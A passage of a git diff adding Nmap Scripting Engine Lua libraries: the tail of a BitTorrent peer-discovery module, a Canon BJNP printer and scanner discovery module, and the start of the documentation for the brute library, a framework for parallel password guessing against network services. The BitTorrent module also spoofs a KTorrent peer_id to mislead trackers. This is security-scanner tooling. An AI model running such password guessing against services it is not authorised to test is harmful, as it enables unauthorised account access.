+ ip = ipOps.fromdword(ip)
+
+ if not (pnt.peers[ip] or pnt.peers_dht_ping[ip]) then
+ pnt.peers_dht_ping[ip] = {}
+ pnt.peers_dht_ping[ip].port = port
+ end
+ end
+
+ end -- if nodes / elseif peers
+ end -- if s then
+ end -- for c = 1,100
+ end -- while true
+ socket:close()
+ condvar("signal")
+end
+
+
+
+Torrent =
+{
+ new = function(self)
+ local o ={}
+ setmetatable(o, self)
+ self.__index = self
+
+ self.buffer = nil -- buffer to keep the torrent
+ self.tor_struct = nil -- the decoded structure from the bencoded buffer
+
+ self.trackers = {} -- list of trackers {"tr1", "tr2", "tr3"...}
+ self.port = 6881 -- port on which our peer "listens" / it doesn't actually listen
+ self.size = nil -- size of the files in the torrent
+
+ self.info_buf = nil --buffer for info_hash
+ self.info_hash = nil --info_hash binary string
+ self.info_hash_url = nil --info_hash escaped
+
+ self.peers = {} -- peers = { [ip1] = {port1, id1}, [ip2] = {port2, id2}, ...}
+ self.nodes = {} -- nodes = { [ip1] = {port1, id1}, [ip2] = {port2, id2}, ...}
+ return o
+ end,
+
+ --- Loads trackers and similar information for a torrent from a magnet link.
+ load_from_magnet = function(self, magnet)
+ local info_hash_hex = magnet:match("^magnet:%?xt=urn:btih:(%w+)&")
+ if not info_hash_hex then
+ return false, "Erroneous magnet link"
+ end
+ self.info_hash = stdnse.fromhex(info_hash_hex)
+
+ local pos = #info_hash_hex + 21
+ local name = magnet:sub(pos,#magnet):match("^&dn=(.-)&")
+ if name then
+ pos = pos + 4 + #name
+ end
+ magnet = magnet:sub(pos,#magnet)
+ for tracker in magnet:gmatch("&tr=([^&]+)") do
+ local trac = url.unescape(tracker)
+ table.insert(self.trackers, trac)
+ end
+ self.size = 50
+ end,
+
+ --- Reads a torrent file, loads self.buffer and parses it using
+ -- self:parse_buffer(), then self:calc_info_hash()
+ --
+ -- @param filename, string containing filename of the torrent file
+ -- @return boolean indicating whether loading went alright
+ -- @return err string with error message if loadin went wrong
+ load_from_file = function(self, filename)
+ if not filename then return false, "No filename specified." end
+
+ local file = io.open(filename, "r")
+ if not file then return false, "Cannot open file: "..filename end
+
+ self.buffer = file:read("a")
+ file:close()
+
+ local status, err = self:parse_buffer()
+ if not status then
+ return false, "Could not parse file: ".. err
+ end
+
+ status, err = self:calc_info_hash()
+ if not status then
+ return false, "Could not calculate info_hash: " .. err
+ end
+
+ status, err = self:load_trackers()
+ if not status then
+ return false, "Could not load trackers: " .. err
+ end
+
+ status, err = self:calc_torrent_size()
+ if not status then
+ if not err then err = "" end
+ return false, "Could not calculate torrent size: " .. err
+ end
+
+ return true
+ end,
+
+ --- Gets peers available from the loaded trackers
+ trackers_peers = function(self)
+ for _, tracker in ipairs(self.trackers) do
+ local status, err
+
+ if tracker:match("^http://") then -- http tracker
+ status, err = self:http_tracker_peers(tracker)
+ if not status then
+ stdnse.debug1("Could not get peers from tracker %s, reason: %s",tracker, err)
+ end
+ elseif tracker:match("^udp://") then -- udp tracker
+ status, err = self:udp_tracker_peers(tracker)
+ if not status then
+ stdnse.debug1("Could not get peers from tracker %s, reason: %s",tracker, err)
+ end
+ else -- unknown tracker
+ stdnse.debug1("Unknown tracker protocol for: %s", tracker)
+ end
+ --if not status then return false, err end
+ end
+
+ return true
+ end,
+
+ --- Runs the three threads which do a DHT discovery of nodes and peers.
+ --
+ -- The default timeout for this discovery is 30 seconds but it can be
+ -- set through the timeout argument.
+ dht_peers = function(self, timeout)
+ stdnse.debug1("bittorrent: Starting DHT peers discovery")
+
+ if next(self.peers) == nil then
+ stdnse.debug1("bittorrent: No peers detected")
+ return
+ end
+
+ if not timeout or type(timeout)~="number" then timeout = 30 end
+
+ -- peer node table a.k.a. the condvar!
+ local pnt = {}
+ pnt.peers = {}
+ pnt.peers_dht_ping = self.peers
+
+ pnt.nodes = {}
+ pnt.nodes_get_peers = {}
+ pnt.nodes_find_node = self.nodes
+
+ pnt.node_id = rand.random_string(20)
+ pnt.info_hash = self.info_hash
+
+ local condvar = nmap.condvar(pnt)
+
+ local dht_ping_co = stdnse.new_thread(dht_ping_thread, pnt, timeout)
+ local find_node_co = stdnse.new_thread(find_node_thread, pnt, timeout)
+ local get_peers_co = stdnse.new_thread(get_peers_thread, pnt, timeout)
+
+ while true do
+ stdnse.sleep(0.5)
+ if coroutine.status(dht_ping_co) == "dead" and
+ coroutine.status(find_node_co) == "dead" and
+ coroutine.status(get_peers_co) == "dead" then
+ break
+ end
+ end
+
+ self.peers = pnt.peers
+ self.nodes = pnt.nodes
+
+ -- Add some residue nodes and peers
+ for peer_ip, peer_info in pairs(pnt.peers_dht_ping) do
+ if not self.peers[peer_ip] then
+ self.peers[peer_ip] = peer_info
+ end
+ end
+ for node_ip, node_info in pairs(pnt.nodes_find_node) do
+ if not self.nodes[node_ip] then
+ self.nodes[node_ip] = node_info
+ end
+ end
+ for node_ip, node_info in pairs(pnt.nodes_get_peers) do
+ if not self.nodes[node_ip] then
+ self.nodes[node_ip] = node_info
+ end
+ end
+ end,
+
+ --- Parses self.buffer, fills self.tor_struct, self.info_buf
+ --
+ -- This function is similar to the bdecode function but it has a few
+ -- additions for calculating torrent file specific fields
+ parse_buffer = function(self)
+ local status, t = bdecode(self.buffer)
+ if not status then
+ return status, t
+ end
+ self.tor_struct = t
+
+ for _, i in ipairs(t[1]) do
+ if i.key == "info" then
+ self.info_buf = self.buffer:sub(i.value.start, i.value.endpos)
+ break
+ end
+ end
+
+ return true
+ end,
+
+ --- Loads the list of trackers in self.trackers from self.tor_struct
+ load_trackers = function(self)
+ local tor = self.tor_struct
+ local trackers = {}
+ self.trackers = trackers
+
+ -- load the announce tracker
+ if tor and tor[1] and tor[1][1] and tor[1][1].key and
+ tor[1][1].key == "announce" and tor[1][1].value then
+
+ if tor[1][1].value.type and tor[1][1].value.type == "list" then
+ for _, trac in ipairs(tor[1][1].value) do
+ table.insert(trackers, trac)
+ end
+ else
+ table.insert(trackers, tor[1][1].value)
+ end
+ else
+ return nil, "Announce field not found"
+ end
+
+ -- load the announce-list trackers
+ if tor[1][2] and tor[1][2].key and tor[1][2].key == "announce-list" and tor[1][2].value then
+ for _, trac_list in ipairs(tor[1][2].value) do
+ if trac_list.type and trac_list.type == "list" then
+ for _, trac in ipairs(trac_list) do
+ table.insert(trackers, trac)
+ end
+ else
+ table.insert(trackers, trac_list)
+ end
+ end
+ end
+
+ return true
+ end,
+
+ --- Calculates the size of the torrent in bytes
+ -- @param tor, decoded bencoded torrent file structure
+ calc_torrent_size = function(self)
+ local tor = self.tor_struct
+ local size = nil
+ if tor[1].type ~= "dict" then return nil, "first element not a dict" end
+ for _, m in ipairs(tor[1]) do
+ if m.key == "info" then
+ if m.value.type ~= "dict" then return nil, "info is not a dict" end
+ for _, n in ipairs(m.value) do
+ if n.key == "files" then
+ size = 0
+ for _, f in ipairs(n.value) do
+ for _, k in ipairs(f) do
+ if k.key == "length" then
+ size = size + k.value
+ break
+ end
+ end
+ end
+ break
+ elseif n.key == "length" then
+ size = n.value
+ break
+ end
+ end
+ end
+ end
+ self.size=size
+ if size == 0 then return false, "size is zero" end
+ return true
+ end,
+
+ --- Calculates the info hash using self.info_buf.
+ --
+ -- The info_hash value is used in many communication transactions for
+ -- identifying the file shared among the bittorrent peers
+ calc_info_hash = function(self)
+ local info_hash = openssl.sha1(self.info_buf)
+ self.info_hash_url = url.escape(info_hash)
+ self.info_hash = info_hash
+ self.info_buf = nil
+ return true
+ end,
+
+ --- Generates a peer_id similar to the ones generated by Ktorrent version 4.1.1
+ generate_peer_id = function(self)
+ -- let's fool trackers that we use ktorrent just in case they control
+ -- which client they give peers to
+ local fingerprint = "-KT4110-"
+ local chars = {}
+ -- the full length of a peer_id is 20 bytes but we already have 8 from the fingerprint
+ return fingerprint .. rand.random_string(12,
+ "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
+ end,
+
+ --- Gets the peers from a http tracker when supplied the URL of the tracker
+ http_tracker_peers = function(self, tracker)
+ local url, trac_port, url_ext = tracker:match("^http://(.-):(%d-)(/.*)")
+ if not url then
+ --probably no port specification
+ url, url_ext = tracker:match("^http://(.-)(/.*)")
+ trac_port = "80"
+ end
+
+ trac_port = tonumber(trac_port)
+ -- a http torrent tracker request specifying the info_hash of the torrent, our random
+ -- generated peer_id (with some mods), notifying the tracker that we are just starting
+ -- to download the torrent, with 0 downloaded and 0 uploaded bytes, an as many bytes
+ -- left to download as the size of the torrent, requesting 200 peers in a compact format
+ -- because some trackers refuse connection if they are not explicitly requested that way
+ local request = "?info_hash=" .. self.info_hash_url .. "&peer_id=" .. self:generate_peer_id() ..
+ "&port=" .. self.port .. "&uploaded=0&downloaded=0&left=" .. self.size ..
+ "&event=started&numwant=200&compact=1"
+
+ local response = http.get(url, trac_port, url_ext .. request, nil)
+
+ if not response or not response.body then
+ return false, "No response from tracker: " .. tracker
+ end
+
+ local status, t = bdecode(response.body)
+
+ if not status then
+ return false, "Could not parse response:"..t
+ end
+
+ if not t[1] then
+ return nil, "No response from server."
+ end
+
+ for _, k in ipairs(t[1]) do
+ if k.key == "peers" and type(k.value) == "string" then
+ -- binary peers
+ local pos=1
+ while pos < #k.value do
+ local ip, port
+ ip, port, pos = string.unpack(">I4 I2", k.value, pos)
+ ip = ipOps.fromdword(ip)
+
+ if not self.peers[ip] then
+ self.peers[ip] = {}
+ self.peers[ip].port = port
+ end
+ end
+ break
+ elseif k.key == "peers" and type(k.value) == "table" then
+ -- table peers
+ for _, peer_table in ipairs(k.value) do
+ local peer = {}
+ for _, f in ipairs(peer_table) do
+ if f.key == "peer_id" then
+ peer.id = f.value
+ elseif f.key == "ip" then
+ peer.ip = f.value
+ elseif f.key == "port" then
+ peer.port = f.value
+ end
+ end
+ if not peer.id then peer.id = "" end
+ if not self.peers[peer.ip] then
+ self.peers[peer.ip] = {}
+ self.peers[peer.ip].port = peer.port
+ self.peers[peer.ip].id = peer.id
+ else
+ self.peers[peer.ip].port = peer.port
+ end
+ end
+ break
+ end
+ end
+
+ return true
+ end,
+
+ --- Gets the peers from udp trackers when supplied the URL of the tracker.
+ --
+ -- First we establish a connection to the udp server and then we can request
+ -- peers. For a good specification refer to:
+ -- http://www.rasterbar.com/products/libtorrent/udp_tracker_protocol.html
+ udp_tracker_peers = function(self, tracker)
+ local host, port = tracker:match("^udp://(.-):(%d+)")
+ port = tonumber(port)
+ if (not host) or (not port) then
+ return false, "Could not parse tracker url"
+ end
+
+ local socket = nmap.new_socket("udp")
+
+ -- The initial connection parameters' variables have hello_ prefixed names
+ local hello_transaction_id = rand.random_string(4)
+ local hello_packet = "\0\0\x04\x17\x27\x10\x19\x80" -- identification of the protocol
+ .. "\0\0\0\0" -- 0 for a connection request
+ .. hello_transaction_id
+ local status, msg = socket:sendto(host, port, hello_packet)
+ if not status then return false, msg end
+
+ status, msg = socket:receive()
+ if not status then return false, "Could not connect to tracker:"..tracker.." reason:"..msg end
+
+ local r_action, r_transaction_id, r_connection_id =string.unpack(">I4c4c8",msg)
+
+ if not (r_transaction_id == hello_transaction_id) then
+ return false, "Received transaction ID not equivalent to sent transaction ID"
+ end
+
+ -- the action in the response has to be 0 too
+ if r_action ~= 0 then
+ return false, "Wrong action field, usually caused by an erroneous request"
+ end
+
+ -- established a connection, and now for an announce message, to which a
+ -- response holds the peers
+
+ -- the announce connection parameters' variables are prefixed with a_
+ local a_action = 1 -- 1 for announce
+ local a_transaction_id = rand.random_string(4)
+ local a_info_hash = self.info_hash -- info_hash of the torrent
+ local a_peer_id = self:generate_peer_id()
+ local a_downloaded = 0 -- 0 bytes downloaded
+
+ local a_left = self.size -- bytes left to download is the size of torrent
+
+ local a_uploaded = 0 -- 0 bytes uploaded
+ local a_event = 2 -- value of 2 for started torrent
+ local a_ip = 0 -- not necessary to specify our ip since it's resolved
+ -- by tracker automatically
+ local a_key = rand.random_string(4)
+ local a_num_want = 0xFFFFFFFF -- request for many many peers
+ local a_port = 6881 -- the port "we are listening on"
+ local a_extensions = 0 -- client recognizes no extensions of the bittorrent proto
+ local announce_packet = string.pack(">c8 I4 c4 c40 c20 I8 I8 I8 I4 I4 c4 I4 I2 I2",
+ r_connection_id, a_action, a_transaction_id,
+ a_info_hash, a_peer_id, a_downloaded, a_left, a_uploaded, a_event, a_ip, a_key,
+ a_num_want, a_port, a_extensions)
+
+ status, msg = socket:sendto(host, port, announce_packet)
+ if not status then
+ return false, "Couldn't send announce message, reason: "..msg
+ end
+
+ status, msg = socket:receive()
+ if not status then
+ return false, "Didn't receive response to announce message, reason: "..msg
+ end
+ local p_action, p_transaction_id, p_interval, p_leechers, p_seeders, pos = string.unpack(">I4 c4 I4 I4 I4",msg)
+
+ -- the action field in the response has to be 1 (like the sent response)
+ if not (p_action == 1) then
+ return false, "Action in response to announce erroneous"
+ end
+ if not (p_transaction_id == a_transaction_id) then
+ return false, "Transaction ID in response to announce message not equal to original"
+ end
+
+ -- parse peers from msg:sub(pos, #msg)
+
+ while pos < #msg do
+ local ip, port
+ ip, port, pos = string.unpack(">I4 I2", msg, pos)
+ ip = ipOps.fromdword(ip)
+ if not self.peers[ip] then
+ self.peers[ip] = {}
+ end
+ self.peers[ip].port = port
+ end
+
+ return true
+ end
+}
+
+
+
+return _ENV;
diff --git a/nselib/bjnp.lua b/nselib/bjnp.lua
new file mode 100644
index 0000000..0922d8d
--- /dev/null
+++ b/nselib/bjnp.lua
@@ -0,0 +1,363 @@
+---
+-- An implementation of the Canon BJNP protocol used to discover and query
+-- Canon network printers and scanner devices.
+--
+-- The implementation is pretty much based on Wireshark decoded messages
+-- the cups-bjnp implementation and the usual guesswork.
+--
+-- @author Patrik Karlsson <patrik [at] cqure.net>
+--
+
+local nmap = require("nmap")
+local os = require("os")
+local stdnse = require("stdnse")
+local table = require("table")
+local string = require "string"
+local stringaux = require "stringaux"
+
+_ENV = stdnse.module("bjnp", stdnse.seeall)
+
+BJNP = {
+
+ -- The common BJNP header
+ Header = {
+
+ new = function(self, o)
+ o = o or {}
+ o = {
+ id = o.id or "BJNP",
+ type = o.type or 1,
+ code = o.code,
+ seq = o.seq or 1,
+ session = o.session or 0,
+ length = o.length or 0,
+ }
+ assert(o.code, "code argument required")
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local hdr = BJNP.Header:new({ code = -1 })
+
+ hdr.id, hdr.type, hdr.code,
+ hdr.seq, hdr.session, hdr.length = string.unpack(">c4BBI4I2I4", data)
+ return hdr
+ end,
+
+ __tostring = function(self)
+ return string.pack(">c4BBI4I2I4",
+ self.id,
+ self.type,
+ self.code,
+ self.seq,
+ self.session,
+ self.length
+ )
+ end
+ },
+
+ -- Scanner related code
+ Scanner = {
+
+ Code = {
+ DISCOVER = 1,
+ IDENTITY = 48,
+ },
+
+ Request = {
+
+ Discover = {
+
+ new = function(self)
+ local o = { header = BJNP.Header:new( { type = 2, code = BJNP.Scanner.Code.DISCOVER }) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ },
+
+
+ Identity = {
+
+ new = function(self)
+ local o = { header = BJNP.Header:new( { type = 2, code = BJNP.Scanner.Code.IDENTITY, length = 4 }), data = 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header) .. string.pack(">I4", self.data)
+ end,
+ }
+
+ },
+
+ Response = {
+
+ Identity = {
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local identity = BJNP.Scanner.Response.Identity:new()
+ identity.header = BJNP.Header.parse(data)
+
+ local pos = #tostring(identity.header) + 1
+ if pos - 1 > #data - 2 then
+ return nil
+ end
+ local len, pos = string.unpack(">I2", data, pos)
+ identity.data = string.unpack("c" .. len - 2, data, pos)
+ return identity
+ end,
+
+
+ }
+
+ }
+
+ },
+
+ -- Printer related code
+ Printer = {
+
+ Code = {
+ DISCOVER = 1,
+ IDENTITY = 48,
+ },
+
+ Request = {
+
+ Discover = {
+ new = function(self)
+ local o = { header = BJNP.Header:new( { code = BJNP.Printer.Code.DISCOVER }) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ },
+
+ Identity = {
+
+ new = function(self)
+ local o = { header = BJNP.Header:new( { code = BJNP.Printer.Code.IDENTITY }) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ }
+
+ },
+
+ Response = {
+
+ Identity = {
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local identity = BJNP.Printer.Response.Identity:new()
+ identity.header = BJNP.Header.parse(data)
+
+ local pos = #tostring(identity.header) + 1
+ if pos - 1 > #data - 2 then
+ return nil
+ end
+ local len, pos = string.unpack(">I2", data, pos)
+ identity.data = string.unpack("c" .. len - 2, data, pos)
+ return identity
+ end,
+
+
+ }
+
+ },
+
+ }
+
+}
+
+-- Helper class, the main script writer interface
+Helper = {
+
+ -- Creates a new Helper instance
+ -- @param host table
+ -- @param port table
+ -- @param options table containing one or more of the following fields;
+ -- <code>timeout</code> - the timeout in milliseconds for socket communication
+ -- <code>bcast</code> - instructs the library that the host is a broadcast
+ -- address
+ -- @return o new instance of Helper
+ new = function(self, host, port, options)
+ local o = {
+ host = host, port = port, options = options or {}
+ }
+ o.options.timeout = o.options.timeout or 5000
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects the socket to the device
+ -- This should always be called, regardless if the broadcast option is set
+ -- or not.
+ --
+ -- @return status, true on success, false on failure
+ -- @return err string containing the error message if status is false
+ connect = function(self)
+ self.socket = nmap.new_socket(( self.options.bcast and "udp" ))
+ self.socket:set_timeout(self.options.timeout)
+ if ( not(self.options.bcast) ) then
+ return self.socket:connect(self.host, self.port)
+ end
+ return true
+ end,
+
+ -- Discover network devices using either broadcast or unicast
+ -- @param packet discovery packet (printer or scanner)
+ -- @return status, true on success, false on failure
+ -- @return devices table containing discovered devices when status is true
+ -- errmsg string containing the error message when status is false
+ discoverDevice = function(self, packet)
+ if ( not(self.options.bcast) ) then
+ if ( not(self.socket:send(tostring(packet))) ) then
+ return false, "Failed to send request to server"
+ end
+ else
+ if ( not(self.socket:sendto(self.host, self.port, tostring(packet))) ) then
+ return false, "Failed to send request to server"
+ end
+ end
+ -- discover run in loop
+ local devices, tmp = {}, {}
+ local start = os.time()
+ while( true ) do
+ local status, data = self.socket:receive()
+ if ( not(status) or ( os.time() - start > ( self.options.timeout/1000 - 1 ) )) then
+ break
+ end
+ local status, _, _, rhost = self.socket:get_info()
+ tmp[rhost] = true
+ end
+ for host in pairs(tmp) do table.insert(devices, host) end
+ return true, ( self.options.bcast and devices or ( #devices > 0 and devices[1] ))
+ end,
+
+ -- Discover BJNP supporting scanners
+ discoverScanner = function(self)
+ return self:discoverDevice(BJNP.Scanner.Request.Discover:new())
+ end,
+
+ -- Discover BJNP supporting printers
+ discoverPrinter = function(self)
+ return self:discoverDevice(BJNP.Printer.Request.Discover:new())
+ end,
+
+ -- Gets a printer identity (additional information)
+ -- @param devtype string containing either the string printer or scanner
+ -- @return status, true on success, false on failure
+ -- @return attribs table containing device attributes when status is true
+ -- errmsg string containing the error message when status is false
+ getDeviceIdentity = function(self, devtype)
+ -- Were currently only decoding this as I don't know what the other cruft is
+ local attrib_names = {
+ ["scanner"] = {
+ { ['MFG'] = "Manufacturer" },
+ { ['MDL'] = "Model" },
+ { ['DES'] = "Description" },
+ { ['CMD'] = "Command" },
+ },
+ ["printer"] = {
+ { ['MFG'] = "Manufacturer" },
+ { ['MDL'] = "Model" },
+ { ['DES'] = "Description" },
+ { ['VER'] = "Firmware version" },
+ { ['CMD'] = "Command" },
+ }
+ }
+ local identity
+ if ( "printer" == devtype ) then
+ identity = BJNP.Printer.Request.Identity:new()
+ elseif ( "scanner" == devtype ) then
+ identity = BJNP.Scanner.Request.Identity:new()
+ end
+ assert(not(self.options.bcast), "getIdentity is not supported for broadcast")
+ if ( not(self.socket:send(tostring(identity))) ) then
+ return false, "Failed to send request to server"
+ end
+ local status, data = self.socket:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+
+ local identity
+ if ( "printer" == devtype ) then
+ identity = BJNP.Printer.Response.Identity.parse(data)
+ elseif ( "scanner" == devtype ) then
+ identity = BJNP.Scanner.Response.Identity.parse(data)
+ end
+ if ( not(identity) ) then
+ return false, "Failed to parse identity"
+ end
+ local attrs, kvps = {}, {}
+
+ for k, v in ipairs(stringaux.strsplit(";", identity.data)) do
+ local nm, val = v:match("^([^:]*):(.*)$")
+ if ( nm ) then kvps[nm] = val end
+ end
+
+ for _, attrib in ipairs(attrib_names[devtype]) do
+ local short, long = next(attrib)
+ if ( kvps[short] ) then
+ table.insert(attrs, ("%s: %s"):format(long, kvps[short]))
+ end
+ end
+
+ return true, attrs
+ end,
+
+ -- Retrieves information related to the printer
+ getPrinterIdentity = function(self)
+ return self:getDeviceIdentity("printer")
+ end,
+
+ -- Retrieves information related to the scanner
+ getScannerIdentity = function(self)
+ return self:getDeviceIdentity("scanner")
+ end,
+
+ -- Closes the connection
+ -- @return status, true on success, false on failure
+ -- @return errmsg string containing the error message when status is false
+ close = function(self)
+ return self.socket:close()
+ end
+
+}
+
+return _ENV;
diff --git a/nselib/brute.lua b/nselib/brute.lua
new file mode 100644
index 0000000..e8b1549
--- /dev/null
+++ b/nselib/brute.lua
@@ -0,0 +1,1551 @@
+---
+-- The brute library is an attempt to create a common framework for performing
+-- password guessing against remote services.
+--
+-- The library currently attempts to parallelize the guessing by starting
+-- a number of working threads and increasing that number gradually until
+-- brute.threads limit is reached. The starting number of threads can be set
+-- with brute.start argument, it defaults to 5. The brute.threads argument
+-- defaults to 20. It is worth noticing that the number of working threads
+-- will grow exponentially until any error occurs, after that the engine
+-- will switch to linear growth.
+--
+-- The library contains the following classes:
+-- * <code>Engine</code>
+-- ** The actual engine doing the brute-forcing .
+-- * <code>Error</code>
+-- ** Class used to return errors back to the engine.
+-- * <code>Options</code>
+-- ** Stores any options that should be used during brute-forcing.
+--
+-- In order to make use of the framework a script needs to implement a Driver
+-- class. The Driver class is then to be passed as a parameter to the Engine
+-- constructor, which creates a new instance for each guess. The Driver class
+-- SHOULD implement the following four methods:
+--
+-- <code>
+-- Driver:login = function( self, username, password )
+-- Driver:check = function( self )
+-- Driver:connect = function( self )
+-- Driver:disconnect = function( self )
+-- </code>
+--
+-- The <code>login</code> method does not need a lot of explanation. The login
+-- function should return two parameters. If the login was successful it should
+-- return true and a <code>creds.Account</code>. If the login was a failure it
+-- should return false and a <code>brute.Error</code>. The driver can signal
+-- the Engine to retry a set of credentials by calling the Error objects
+-- <code>setRetry</code> method. It may also signal the Engine to abort all
+-- password guessing by calling the Error objects <code>setAbort</code> method.
+-- Finally, the driver can notify the Engine about protocol related exception
+-- (like the ftp code 421 "Too many connections") by calling
+-- <code>setReduce</code> method. The latter will signal the Engine to reduce
+-- the number of running worker threads.
+--
+-- The following example code demonstrates how the Error object can be used.
+--
+-- <code>
+-- -- After a number of incorrect attempts VNC blocks us, so we abort
+-- if ( not(status) and x:match("Too many authentication failures") ) then
+-- local err = brute.Error:new( data )
+-- -- signal the engine to abort
+-- err:setAbort( true )
+-- return false, err
+-- elseif ( not(status) ) then
+-- local err = brute.Error:new( "VNC handshake failed" )
+-- -- This might be temporary, signal the engine to retry
+-- err:setRetry( true )
+-- return false, err
+-- end
+-- .
+-- .
+-- .
+-- -- Return a simple error, no retry needed
+-- return false, brute.Error:new( "Incorrect password" )
+-- </code>
+--
+-- The purpose of the <code>check</code> method is to be able to determine
+-- whether the script has all the information it needs, before starting the
+-- brute force. It's the method where you should check, e.g., if the correct
+-- database or repository URL was specified or not. On success, the
+-- <code>check</code> method returns true, on failure it returns false and the
+-- brute force engine aborts.
+--
+-- NOTE: The <code>check</code> method is deprecated and will be removed from
+-- all scripts in the future. Scripts should do this check in the action
+-- function instead.
+--
+-- The <code>connect</code> method provides the framework with the ability to
+-- ensure that the thread can run once it has been dispatched a set of
+-- credentials. As the sockets in NSE are limited we want to limit the risk of
+-- a thread blocking, due to insufficient free sockets, after it has acquired a
+-- username and password pair.
+--
+-- The following sample code illustrates how to implement a sample
+-- <code>Driver</code> that sends each username and password over a socket.
+--
+-- <code>
+-- Driver = {
+-- new = function(self, host, port, options)
+-- local o = {}
+-- setmetatable(o, self)
+-- self.__index = self
+-- o.host = host
+-- o.port = port
+-- o.options = options
+-- return o
+-- end,
+-- connect = function( self )
+-- self.socket = nmap.new_socket()
+-- return self.socket:connect( self.host, self.port )
+-- end,
+-- disconnect = function( self )
+-- return self.socket:close()
+-- end,
+-- check = function( self )
+-- return true
+-- end,
+-- login = function( self, username, password )
+-- local status, err, data
+-- status, err = self.socket:send( username .. ":" .. password)
+-- status, data = self.socket:receive_bytes(1)
+--
+-- if ( data:match("SUCCESS") ) then
+-- return true, creds.Account:new(username, password, creds.State.VALID)
+-- end
+-- return false, brute.Error:new( "login failed" )
+-- end,
+-- }
+-- </code>
+--
+-- The following sample code illustrates how to pass the <code>Driver</code>
+-- off to the brute engine.
+--
+-- <code>
+-- action = function(host, port)
+-- local options = { key1 = val1, key2 = val2 }
+-- local status, accounts = brute.Engine:new(Driver, host, port, options):start()
+-- if( not(status) ) then
+-- return accounts
+-- end
+-- return stdnse.format_output( true, accounts )
+-- end
+-- </code>
+--
+-- The Engine is written with performance and reasonable resource usage in mind
+-- and requires minimum extra work from a script developer. A trivial approach
+-- is to spawn as many working threads as possible regardless of network
+-- conditions, other scripts' needs, and protocol response. This indeed works
+-- well, but only in ideal conditions. In reality there might be several
+-- scripts running or only limited number of threads are allowed to use sockets
+-- at any given moment (as it is in Nmap). A more intelligent approach is to
+-- automate the management of Engine's running threads, so that performance
+-- of other scripts does not suffer because of exhaustive brute force work.
+-- This can be done on three levels: protocol, network, and resource level.
+--
+-- On the protocol level the developer should notify the Engine about connection
+-- restrictions imposed by a server that can be learned during a protocol
+-- communication. Like code 421 "To many connections" is used in FTP. Reasonably
+-- in such cases we would like to reduce the number of connections to this
+-- service, hence saving resources for other work and reducing the load on the
+-- target server. This can be done by returning an Error object with called
+-- <code>setReduce</code> method on it. The error will make the Engine reduce
+-- the number of running threads.
+--
+-- Following is an example how it can be done for FTP brute.
+--
+-- <code>
+-- local line = <response from the server>
+--
+-- if(string.match(line, "^230")) then
+-- stdnse.debug1("Successful login: %s/%s", user, pass)
+-- return true, creds.Account:new( user, pass, creds.State.VALID)
+-- elseif(string.match(line, "^530")) then
+-- return false, brute.Error:new( "Incorrect password" )
+-- elseif(string.match(line, "^421")) then
+-- local err = brute.Error:new("Too many connections")
+-- err:setReduce(true)
+-- return false, err
+-- elseif(string.match(line, "^220")) then
+-- elseif(string.match(line, "^331")) then
+-- else
+-- stdnse.debug1("WARNING: Unhandled response: %s", line)
+-- local err = brute.Error:new("Unhandled response")
+-- err:setRetry(true)
+-- return false, err
+-- end
+-- </code>
+--
+-- On the network level we want to catch errors that can occur because of
+-- network congestion or target machine specifics, say firewalled. These
+-- errors can be caught as return results of operations on sockets, like
+-- <code>local status, err = socket.receive()</code>. Asking a developer to
+-- relay such errors to the Engine is counterproductive, and it would lead to
+-- bloated scripts with lots of repetitive code. The Engine takes care of that
+-- with a little help from the developer. The only thing that needs to be
+-- done is to use <code>brute.new_socket()</code> instead of
+-- <code>nmap.new_socket()</code> when creating a socket in a script.
+--
+-- NOTE: A socket created with <code>brute.new_socket()</code> will behave as
+-- a regular socket when used without the brute library. The returned object
+-- is a BruteSocket instance, which can be treated as a regular socket object.
+--
+-- Example on creating "brute" socket.
+--
+-- <code>
+-- connect = function( self )
+-- self.socket = brute.new_socket()
+-- local status, err = self.socket:connect(self.host, self.port)
+-- self.socket:set_timeout(arg_timeout)
+-- if(not(status)) then
+-- return false, brute.Error:new( "Couldn't connect to host: " .. err )
+-- end
+-- return true
+-- end
+-- </code>
+--
+-- On the resource level the Engine can query the current status of the NSE.
+-- As of the time of writing, the only parameter used is a number of threads
+-- waiting for connection (as was said before the NSE has a constraint on the
+-- number of concurrent connections due to performance reasons). With a
+-- running brute script the limit can be hit pretty fast, which can affect
+-- performance of other scripts. To mitigate this situation resource management
+-- strategy is used, and the Engine will reduce the number of working threads
+-- if there are any threads waiting for connection. As a result the preference
+-- for connection will be given to non brute scripts and if there are many
+-- brute scripts running simultaneously, then they will not exhaust resources
+-- unnecessarily.
+-- This feature is enabled by default and does not require any additional work
+-- from the developer.
+--
+-- Stagnation avoidance mechanism is implemented to alert users about services
+-- that might have failed during bruteforcing. The Engine will abort if all working
+-- threads have been experiencing connection errors during 100 consequentive
+-- iterations of the main thread loop. If <code>brute.killstagnated</code>
+-- is set to <code>false</code> the Engine will continue after issuing a
+-- warning.
+--
+-- For a complete example of a brute implementation consult the
+-- <code>svn-brute.nse</code> or <code>vnc-brute.nse</code> scripts
+--
+-- @args brute.useraspass guess the username as password for each user
+-- (default: true)
+-- @args brute.emptypass guess an empty password for each user
+-- (default: false)
+-- @args brute.unique make sure that each password is only guessed once
+-- (default: true)
+-- @args brute.firstonly stop guessing after first password is found
+-- (default: false)
+-- @args brute.passonly iterate over passwords only for services that provide
+-- only a password for authentication. (default: false)
+-- @args brute.retries the number of times to retry if recoverable failures
+-- occur. (default: 2)
+-- @args brute.delay the number of seconds to wait between guesses (default: 0)
+-- @args brute.threads the number of initial worker threads, the number of
+-- active threads will be automatically adjusted.
